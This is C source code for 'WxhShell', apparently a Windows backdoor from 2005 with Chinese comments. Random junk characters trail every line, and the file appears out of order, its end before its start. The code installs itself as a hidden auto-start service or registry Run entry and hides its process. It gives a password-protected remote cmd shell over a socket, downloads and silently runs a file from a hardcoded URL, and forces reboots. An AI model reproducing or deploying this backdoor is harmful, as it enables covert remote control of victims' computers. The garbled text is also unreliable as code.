    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Mok$  
    else { 25(\'484>  
    closesocket(wsh); m0P5a%D  
    ExitThread(0); }fhVn;~}8  
    } Rz)#VVYC=  
    break; "$)2|  
    } & mWq'h  
  // 获取shell YS]RG/'  
  case 's': { DlP}Fp{  
    CmdShell(wsh); 4-m%[D |W  
    closesocket(wsh); 3FdoADe{{  
    ExitThread(0); QZ6M,\  
    break; ~i \69q%  
  } ^K"`k43{  
  // 退出 ]?r8^LyZ4  
  case 'x': { i8{jMe!Sa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5&>(|Y~I  
    CloseIt(wsh); 82<L07fB  
    break; Q6BW ax|  
    } -K0tK~%q  
  // 离开 ?`vb\K<5H;  
  case 'q': { wFvilF V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +k>v^sz  
    closesocket(wsh); }vi%pfrB  
    WSACleanup(); C@[:}ZGMV  
    exit(1); __9673y  
    break; 8,R]R=  
        } *w _j;  
  } _)|!.r&)63  
  } 1/i|  
K.%E=^~q  
  // 提示信息 :J"e{|g',  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HCu1vjU(]  
} UYPBKf]A9  
  } MMf6QxYf  
\DHCf 4,  
  return; =nsY[ s<  
} <7p2OPD  
\yy!?UlaI  
// shell模块句柄 1w5nBVC*$V  
int CmdShell(SOCKET sock) Ip4~qGJ  
{ LP\ Qwj{  
STARTUPINFO si; @6gz)  p  
ZeroMemory(&si,sizeof(si)); o _-t/ ?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HDaec`j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3.jwOFH$  
PROCESS_INFORMATION ProcessInfo; c.~|)^OXXO  
char cmdline[]="cmd"; J+TYm%A;-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qknd^%  
  return 0; i et|\4A  
} +Lyh F2  
1a' JNe$  
// 自身启动模式 &Ls0!dWC  
int StartFromService(void) RI`A<*>w  
{ ^R\blJQ<^  
typedef struct 4?&=H *H:  
{ %ry>p(-pC(  
  DWORD ExitStatus; K'tz_:d|  
  DWORD PebBaseAddress; -L[K1;Xv"  
  DWORD AffinityMask; bw4b'9cK  
  DWORD BasePriority; 0'~ ?u'  
  ULONG UniqueProcessId; M$GD8|*e  
  ULONG InheritedFromUniqueProcessId; Dn@ n:m  
}   PROCESS_BASIC_INFORMATION; *rbayH  
N\0Sq-.  
PROCNTQSIP NtQueryInformationProcess; vr;7p[~  
jzV#%O{`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V>%%2"&C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %9Ue`8  
q^Z\V?  
  HANDLE             hProcess; M|Se| *w  
  PROCESS_BASIC_INFORMATION pbi; "~;jFB8  
ZDb`]c4(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $?A]!Y;  
  if(NULL == hInst ) return 0; ufo?ZFq@$L  
' ZJ6p0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u+V;r)J{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #:yZJS9f9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nO/5X>A,Zw  
<@yyx7  
  if (!NtQueryInformationProcess) return 0; x4. #_o&  
$~-j-0 \m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yTEuf@  
  if(!hProcess) return 0; 7KEGTKfW  
I2 Kb.`'!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nMnc&8r  
9xz`V1mIL  
  CloseHandle(hProcess); u-W=~EO5#  
51&T`i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f8j^a?d|  
if(hProcess==NULL) return 0; UOY1^wY  
UWnH2  
HMODULE hMod; &A9+%kOk>  
char procName[255]; <Du*Re6g  
unsigned long cbNeeded; VMHY.Rf  
`bm-ONK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kb6v2 ^8H  
Yv;aQF"a  
  CloseHandle(hProcess); -lp_~)j^  
[ M'1aBx^  
if(strstr(procName,"services")) return 1; // 以服务启动 8sg *qQ  
u>E+HxUJ  
  return 0; // 注册表启动 &yN<@.  
} r {8  
I|M*yObl6  
// 主模块 %Xi%LUk{  
int StartWxhshell(LPSTR lpCmdLine) ( r O j,D  
{ ooAZ,l=8  
  SOCKET wsl; ]+Vcuzq/  
BOOL val=TRUE; Pv'x|p*  
  int port=0; l ghzd6  
  struct sockaddr_in door; ; YRZg|Zw  
k (R4-"@  
  if(wscfg.ws_autoins) Install(); `MD/C Fl4  
jQDxbkIuzE  
port=atoi(lpCmdLine); u2eq VrY  
\Q$);:=q Q  
if(port<=0) port=wscfg.ws_port; <uvshZ v  
HfF$>Z'kM  
  WSADATA data; V OX>Sl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P TP2QAt  
D%A-& =  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c[I,Sveq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e'6?iLpy  
  door.sin_family = AF_INET; ..t=Y#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =VU2#O  
  door.sin_port = htons(port); DkIkiw{L  
n&fV3[m`2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a$GKrc,z  
closesocket(wsl); cwroG#jGT  
return 1; m|k,8guG  
} 7Av]f3Zr  
4Y2>w  
  if(listen(wsl,2) == INVALID_SOCKET) { `zL9d lZ  
closesocket(wsl); c"xaN  
return 1; pI`Ke"  
} ,?qS#B+>  
  Wxhshell(wsl); "xOeBNRjV  
  WSACleanup(); Ojs\2('u  
L:<'TXsRA  
return 0; ke0W?  
QKO(8D6+  
} I%Awj(9BS  
qha<.Ro  
// 以NT服务方式启动 H,}?YW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) liTr3T`,V  
{ I?"5i8E  
DWORD   status = 0; 8n)Q^z+ K  
  DWORD   specificError = 0xfffffff; Ua]zTMI  
sF$m?/Kt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D4\I;M^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :q=OW1^k^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4Q>F4 v`  
  serviceStatus.dwWin32ExitCode     = 0; ^wlep1D  
  serviceStatus.dwServiceSpecificExitCode = 0; <'-me09C*  
  serviceStatus.dwCheckPoint       = 0; (0+m&, z  
  serviceStatus.dwWaitHint       = 0; J\V(MN,  
&u8c!;y$b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d1-p];&  
  if (hServiceStatusHandle==0) return; | QA8"&r  
,3j7Y5v  
status = GetLastError(); Ce:ds%  
  if (status!=NO_ERROR) 8'_Y=7b0Nw  
{ zCrcCr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rx/6x(3  
    serviceStatus.dwCheckPoint       = 0; @jHio\/_  
    serviceStatus.dwWaitHint       = 0; AqkK`iJ#  
    serviceStatus.dwWin32ExitCode     = status; YLGLr @:q  
    serviceStatus.dwServiceSpecificExitCode = specificError; Fn,|J[sC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H~Cfni;  
    return; 9x!y.gx  
  } :X f3wP=  
0^[6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i"xDQ$0G6  
  serviceStatus.dwCheckPoint       = 0; sXxO{aeev  
  serviceStatus.dwWaitHint       = 0; H[ q{R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =HHg:"  
} PvwIO_W  
CCOg1X_  
// 处理NT服务事件,比如:启动、停止 SO/]d70HG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pZxL?N!  
{ $nn5;11@gY  
switch(fdwControl) D,a%Je-r,  
{ IJ; *N  
case SERVICE_CONTROL_STOP: =Qrz|$_rv  
  serviceStatus.dwWin32ExitCode = 0; OB22P%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?sYjFiE  
  serviceStatus.dwCheckPoint   = 0; ub5hX{uT  
  serviceStatus.dwWaitHint     = 0; Hea<!zPH  
  { hT"K}d;X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E6M: ^p*<  
  } _ GSw\r  
  return; [<QWTMjR  
case SERVICE_CONTROL_PAUSE: 'Aj>+H<B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 99K+7G\{  
  break; N&=2 /  
case SERVICE_CONTROL_CONTINUE: |U $-d^ZJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]?{lQ0vw'w  
  break; AHJ;>"]  
case SERVICE_CONTROL_INTERROGATE: 6^;!9$G|D*  
  break; lvi:I+VgA  
}; J B@VP{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W?-BT >#s  
} "M^W:4_  
DT4RodE$  
// 标准应用程序主函数 kB#vh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bl_WN|SQ  
{ ^ {f ^WL=  
zi .,?Q  
// 获取操作系统版本 0(x@ NGb>{  
OsIsNt=GetOsVer(); "~C#DZwt{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vWs c{9  
(}1f]$V  
  // 从命令行安装 VAGMI+ -  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4tJ4X' U  
0!`7kZrN  
  // 下载执行文件 rJp6d :M  
if(wscfg.ws_downexe) { ]bb}[#AY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C} _:K)5q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y{RB\}f(  
} F*VMS  
vp-7>Wj  
if(!OsIsNt) { y$o=\:  
// 如果时win9x,隐藏进程并且设置为注册表启动 .+}o'rU  
HideProc(); + t4m\/y  
StartWxhshell(lpCmdLine); kTW g31]~  
} 9dtGqXX  
else :iB%JY Ad  
  if(StartFromService()) k^c=y<I  
  // 以服务方式启动 es+_]:7B9  
  StartServiceCtrlDispatcher(DispatchTable); B@inH]wq  
else K/v-P <g  
  // 普通方式启动 1Z8Oh_D C  
  StartWxhshell(lpCmdLine);  O'|P|  
Ks2%F&\cE  
return 0; UMQW#$~C{g  
} 3}{5 X'  
IA#*T`  
N('DIi*or  
,9wenr  
=========================================== R(N(@KC  
7u5\#|yL  
u%T$XG  
%yM' Z[-  
N3p 7 0  
{JCz^0DV  
" g*?+ ~0"`Y  
=GKYroNM  
#include <stdio.h> GtJ*&=(  
#include <string.h> $1zeY6O  
#include <windows.h> 'O2#1SWe  
#include <winsock2.h> Q;ZHx.ye{  
#include <winsvc.h> 8t: &#h  
#include <urlmon.h> 0$Y 9>)O  
(L:Fb  
#pragma comment (lib, "Ws2_32.lib") 0gD59N'C  
#pragma comment (lib, "urlmon.lib") K6*UFO4}i  
?En| _E_C  
#define MAX_USER   100 // 最大客户端连接数 &Z;8J @  
#define BUF_SOCK   200 // sock buffer RG r'<o)  
#define KEY_BUFF   255 // 输入 buffer Po11EZa$a  
m4U+,|Fa  
#define REBOOT     0   // 重启 WfT)CIKs  
#define SHUTDOWN   1   // 关机 iSz@E&[X  
m2q;^o:J  
#define DEF_PORT   5000 // 监听端口 o/ g+Z  
fMEv85@JL  
#define REG_LEN     16   // 注册表键长度 aU<D$I  
#define SVC_LEN     80   // NT服务名长度 *8X9lv.Z  
qvU$9cTY  
// 从dll定义API G<-9U}~76  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yX.5Y|A<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d3=6MX[c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UoMWn"ZE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NU&^7[!yl  
x$?7)F&z  
// wxhshell配置信息 LF)a"Sh  
struct WSCFG { xCp+<|1   
  int ws_port;         // 监听端口 ?~JxO/K  
  char ws_passstr[REG_LEN]; // 口令 {&}/p-S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4IP\iw#w  
  char ws_regname[REG_LEN]; // 注册表键名 j)tC r Py  
  char ws_svcname[REG_LEN]; // 服务名 LH/&\k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {_toh/8)r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #w,WwL!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oz0n$`O$/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R!k<l<9q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R-A'v&=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2u*h*/  
B?lBO V4v4  
}; 56=K@$L {F  
:O'C:n<g  
// default Wxhshell configuration Uq]EJu  
struct WSCFG wscfg={DEF_PORT, Fwx~ ~"I  
    "xuhuanlingzhe", M Hnf\|DX  
    1, 5 2@udp  
    "Wxhshell", nl-t<#z[  
    "Wxhshell", Q_]!an(  
            "WxhShell Service", #S53u?JV8  
    "Wrsky Windows CmdShell Service", xngeV_xc2  
    "Please Input Your Password: ", N{ V5 D  
  1, &!DZW 5  
  "http://www.wrsky.com/wxhshell.exe", 1; Wkt9]9  
  "Wxhshell.exe" ()nKug`.@  
    }; j*H;a ?Y  
\5_P5q:`  
// 消息定义模块 uO_,n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FJd8s*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A |taP$ %  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {GQ Aa  
char *msg_ws_ext="\n\rExit."; 2c"N-c&A  
char *msg_ws_end="\n\rQuit."; A eGG  
char *msg_ws_boot="\n\rReboot..."; I`"-$99|t1  
char *msg_ws_poff="\n\rShutdown..."; fY%M=,t3c  
char *msg_ws_down="\n\rSave to "; wj#J>C2]  
]D ?# \|  
char *msg_ws_err="\n\rErr!"; fzRyG-cEpj  
char *msg_ws_ok="\n\rOK!"; B3cf] S%  
R?bn,T>  
char ExeFile[MAX_PATH]; ~X~xE]1o|U  
int nUser = 0; iz9\D*or  
HANDLE handles[MAX_USER]; }c35FM,  
int OsIsNt; _z<Y#mik  
UVT >7  
SERVICE_STATUS       serviceStatus; $(KIB82&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?@lx  
M$&WM{Pr^  
// 函数声明 |B%BwE  
int Install(void); zM_DE  
int Uninstall(void); y|e2j&m  
int DownloadFile(char *sURL, SOCKET wsh); rb *C-NutE  
int Boot(int flag); J}) $  
void HideProc(void); @~$F;M=.*  
int GetOsVer(void); c_ qcb7<~.  
int Wxhshell(SOCKET wsl); - - i&"  
void TalkWithClient(void *cs); \'; t*  
int CmdShell(SOCKET sock); 7wiK.99  
int StartFromService(void); !@^y)v  
int StartWxhshell(LPSTR lpCmdLine); 2AXF$YjY  
dysX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S_T{L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -SQJH}zCT+  
v:veV.y  
// 数据结构和表定义 f.b8ZBNj>  
SERVICE_TABLE_ENTRY DispatchTable[] = IOsXPf9@  
{ u Q:ut(  
{wscfg.ws_svcname, NTServiceMain}, VD9 q5tt7  
{NULL, NULL} q)K-vt)98  
}; OH$ F >wO  
eW%L$I  
// 自我安装 %;pD8WgJA  
int Install(void) JHvFIo   
{ j<l#qho{h  
  char svExeFile[MAX_PATH]; 8qFUYZtY  
  HKEY key; 69[V <1  
  strcpy(svExeFile,ExeFile); -O~C m}e  
A$9q!Ui#d  
// 如果是win9x系统,修改注册表设为自启动 DC$7B`#D  
if(!OsIsNt) { <S\;k@f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wUru1_zjO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JdaFY+f :  
  RegCloseKey(key); ee&nU(pK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $xRo<,OV+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zQL!(2  
  RegCloseKey(key); UfK4eZx*`  
  return 0; 0M#N=%31  
    } nmD1C_&  
  } CDQJ bvx  
} X+`ddX  
else { -@%t"8  
U9<_6Bsd  
// 如果是NT以上系统,安装为系统服务 _-@ZOhw&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n\Z^K  
if (schSCManager!=0) q?;N7P  
{ I6K7!+;2  
  SC_HANDLE schService = CreateService ,pDp>-vI%  
  ( 3 R5%N ~  
  schSCManager, lp:_H-sG  
  wscfg.ws_svcname, 5h|'DO x|o  
  wscfg.ws_svcdisp, :FoO Q[Q  
  SERVICE_ALL_ACCESS, <WM -@J(1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x9xzm5  
  SERVICE_AUTO_START, DgDSVFk ~  
  SERVICE_ERROR_NORMAL, 2-8YSHlh  
  svExeFile, !(W[!%  
  NULL, beJZ pg  
  NULL, nnfY$&3A  
  NULL, q$MHCq;  
  NULL, |9+bSH9  
  NULL ?@_v,,|  
  ); nHI(V-E2:H  
  if (schService!=0) `[X6#` <  
  { f|X[gL,B  
  CloseServiceHandle(schService); P7}t lHX  
  CloseServiceHandle(schSCManager); lP}od  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8BHL  
  strcat(svExeFile,wscfg.ws_svcname); OfD@\;L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~J%R-{U9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C@ FxB[  
  RegCloseKey(key); x HY+q ;  
  return 0; M{*kB2jr  
    } &@=u+)^-{  
  } TRSOO}  
  CloseServiceHandle(schSCManager); h^['rmd  
} 9Tqn zD  
} W=~id"XtJ  
HMF8;,<_w?  
return 1; =8O}t+U  
} zXQVUhL6  
La\Q'0  
// 自我卸载 /r>IV`n{  
int Uninstall(void) e-~hS6p(  
{ =ZG<BG_  
  HKEY key; Er`TryN|}  
nARxn#<+  
if(!OsIsNt) { XQK^$Iq]V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A)OdQFet(  
  RegDeleteValue(key,wscfg.ws_regname); fG<Dhz@  
  RegCloseKey(key); 9Kc0&?q@D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1W*V2`0>  
  RegDeleteValue(key,wscfg.ws_regname); SxMxe,.|  
  RegCloseKey(key);  W|lH   
  return 0; o(:{InpV%A  
  } !{ $qMhT  
} mRwXN*Izw  
} :}^Rs9 '  
else { GNs#oM  
3b#L17D3_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j0AwL7  
if (schSCManager!=0) }|AX_=a  
{ L?C\Q^0"`G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !syU]Yk  
  if (schService!=0) a/#+92C  
  { m[8IEKo  
  if(DeleteService(schService)!=0) { 5$anqGw  
  CloseServiceHandle(schService); $?-7OXj<  
  CloseServiceHandle(schSCManager); HB%K|&!+  
  return 0; QQ*gFP.Ao  
  } 6j_ 678  
  CloseServiceHandle(schService); ol50d73B  
  } : -E,   
  CloseServiceHandle(schSCManager); I[@ts!YD  
} ?vvG)nW  
} ^Fn%K].X  
{ AFf:[G  
return 1; 'CgV0&@  
} >xZ5 ac I  
B<Ol+)@,}  
// 从指定url下载文件 qbH %Hx  
int DownloadFile(char *sURL, SOCKET wsh) U4]30B{;H  
{ X) 8e4~(?  
  HRESULT hr; X|,["Az 8  
char seps[]= "/"; gglf\)E;}E  
char *token; B4@fY  
char *file; XWJ SLN(O  
char myURL[MAX_PATH]; 2bkJ /u`i  
char myFILE[MAX_PATH]; VDG|>#[!  
&0s*P G  
strcpy(myURL,sURL); lbd(j{h>4  
  token=strtok(myURL,seps); X2LV&oi  
  while(token!=NULL) >$Fp}?xX  
  { UnP|]]o:I  
    file=token; uN8/Q2   
  token=strtok(NULL,seps); /\d(c/,4  
  } rjXnDh]MC  
*u}'}jC1X  
GetCurrentDirectory(MAX_PATH,myFILE); 3\1#eK'TK.  
strcat(myFILE, "\\"); MBlBMUJk  
strcat(myFILE, file); 2R\+}  
  send(wsh,myFILE,strlen(myFILE),0); 7"#f!.E  
send(wsh,"...",3,0); lVP |W:~K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |88CBiu}  
  if(hr==S_OK) uj)yk*  
return 0; d bCNhbN(  
else Oc#>QZ3  
return 1; ^}hJL7O'  
GtC7^ Z&E  
} =)(0.E  
6s5yyy=L%~  
// 系统电源模块 +^Fp&K+^  
int Boot(int flag) X PA 0m  
{ ;>8kPG  
  HANDLE hToken; #,TELzUVE  
  TOKEN_PRIVILEGES tkp; X~Cq  
/p,{?~0mj  
  if(OsIsNt) { x7H A722w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]W;:|/,c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C!5I?z&  
    tkp.PrivilegeCount = 1; /22nLc;/Cx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bi.wYp(*6L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xo\S9,s{  
if(flag==REBOOT) { eSn$k:\W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VtWT{y5Ec  
  return 0; *,0+RASvq  
} YtpRy% R  
else { 2[ksi51y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NZ+7p{&AN  
  return 0; -R:X<eb  
} ctHEEFWm  
  } AX;c}0g  
  else { 'AWp6L@  
if(flag==REBOOT) { F5U|9<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2QL?]Vo  
  return 0; \sITwPA[z  
} dZDK7UL  
else { e}e6r3faz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {yS;NU`2  
  return 0; )b9_C O}  
} r8,om^N6  
} 4gb'7'  
yPN+W8}f  
return 1; "Vy WT  
} l sr?b  
H{%H^t>  
// win9x进程隐藏模块 T pD;  
void HideProc(void) *{|$FQnR>(  
{ $ser+Jt=  
ceG&,a$\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A? r^V2+j  
  if ( hKernel != NULL ) 'g hys1H  
  { NH4?q!'G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SO_>c+Dw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s4bv;W  
    FreeLibrary(hKernel); 5z Kqb  
  } [,b)YjO~Xd  
QZ~0o7  
return; 03_pwB)^  
} O1'K>teF%  
Kp&3=e;vn{  
// 获取操作系统版本 0sh~I  
int GetOsVer(void) )NIv  "Q  
{ iD714+N(  
  OSVERSIONINFO winfo; #ouE r-=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  n}OU Y  
  GetVersionEx(&winfo); ?-,6<K1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j^nu|  
  return 1; 1qZG`Vz  
  else NO4Z"3Pd_  
  return 0; S/7l/DFb  
} pV=@sz,G  
GW/WUzK  
// 客户端句柄模块 RX>2~^  
int Wxhshell(SOCKET wsl) &a6,ln:P  
{ !^?qU;|  
  SOCKET wsh; RG1\=J$:E  
  struct sockaddr_in client; X!c?CL  
  DWORD myID; w.^yP7:  
l'uOORI  
  while(nUser<MAX_USER) $8g42LR'  
{ p9iu:MucD<  
  int nSize=sizeof(client); V;;#/$oU:4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U=QA  e  
  if(wsh==INVALID_SOCKET) return 1; w & P&7  
]\dHU.i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t^U^Tr  
if(handles[nUser]==0) Ao"C<.gUYP  
  closesocket(wsh); 2y%R:Mu  
else BIj   
  nUser++; c\K<sM{  
  } 12OlrU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 30d#Lq  
Mk5RHDh  
  return 0; $3\,h; y  
} vaB!R 0  
Y0RgJn  
// 关闭 socket ^Xs]C|=W  
void CloseIt(SOCKET wsh) EO:avH.*0  
{ 5v|EAjB6o  
closesocket(wsh); JC2*$qu J  
nUser--; x7$ax79ly  
ExitThread(0); [.&[<!,.  
} 1-o V-K  
Y;_T=  L  
// 客户端请求句柄 O{ q&]~,  
void TalkWithClient(void *cs) vRr9%zx  
{ 5@f5S0 Y  
&<0ZUI |S3  
  SOCKET wsh=(SOCKET)cs; T 6HU*(  
  char pwd[SVC_LEN]; :1_mfX  
  char cmd[KEY_BUFF]; +t"j-}xzE  
char chr[1]; q qvF-mDN  
int i,j; A[JM4x   
ir&.Z5=  
  while (nUser < MAX_USER) { %l|\of7P2}  
|';7v)CIG  
if(wscfg.ws_passstr) { ,LUTHWEo"I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7I >J$"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @i1q]0  
  //ZeroMemory(pwd,KEY_BUFF); j^ EbO3  
      i=0; qm%nIU \*  
  while(i<SVC_LEN) { s MZ[d\  
s|2}2<+  
  // 设置超时 |GuEGmR  
  fd_set FdRead; ?,XC =}  
  struct timeval TimeOut; c-*2dV[@  
  FD_ZERO(&FdRead); 6+PGwCS  
  FD_SET(wsh,&FdRead); vr4S9`,  
  TimeOut.tv_sec=8; Ue7 6py9  
  TimeOut.tv_usec=0; [:B*6FXMN~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 88o:NJ}_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m UgRm]  
XTo8,'UaP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E {>`MNj  
  pwd=chr[0]; *U_oao  
  if(chr[0]==0xd || chr[0]==0xa) { 1X&B:_  
  pwd=0; vGN3 YcH  
  break; ;J=:IEk  
  } !G+u j(  
  i++; :-Wv>V\t  
    } 8&.-]{Z  
7>,rvW:]  
  // 如果是非法用户,关闭 socket 1VLLo~L%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z %EQt  
} tlGWl0V?7Q  
oD0EOT/E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H[nz]s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7zGMkl  
&yLc1#H  
while(1) { o5 WW{)Q  
_9kIRmT{  
  ZeroMemory(cmd,KEY_BUFF); Tl3"PIb  
6K 4+0xXv  
      // 自动支持客户端 telnet标准   p;`N\.ld  
  j=0; ' ^a!`"Bc  
  while(j<KEY_BUFF) { D]u=PqHk2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *P xf#X  
  cmd[j]=chr[0]; ~6d5zI4\  
  if(chr[0]==0xa || chr[0]==0xd) { Pux)>q] C  
  cmd[j]=0; }cW#045es  
  break; 'vlrc[|/  
  } q[c Etp28h  
  j++; {D,RU8&  
    } &t6Tcy  
N-QCfDao  
  // 下载文件 `~nCbUUee  
  if(strstr(cmd,"http://")) { =]b9X7}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gZ`DT  
  if(DownloadFile(cmd,wsh)) `bqzg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #LWg"i  
  else a))*F!}c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B.K4!/cF  
  } nh;y:Bi  
  else { (\& 62B1  
Vp7b4n<  
    switch(cmd[0]) { Fu##'#  
  -u~eZ?(!Ye  
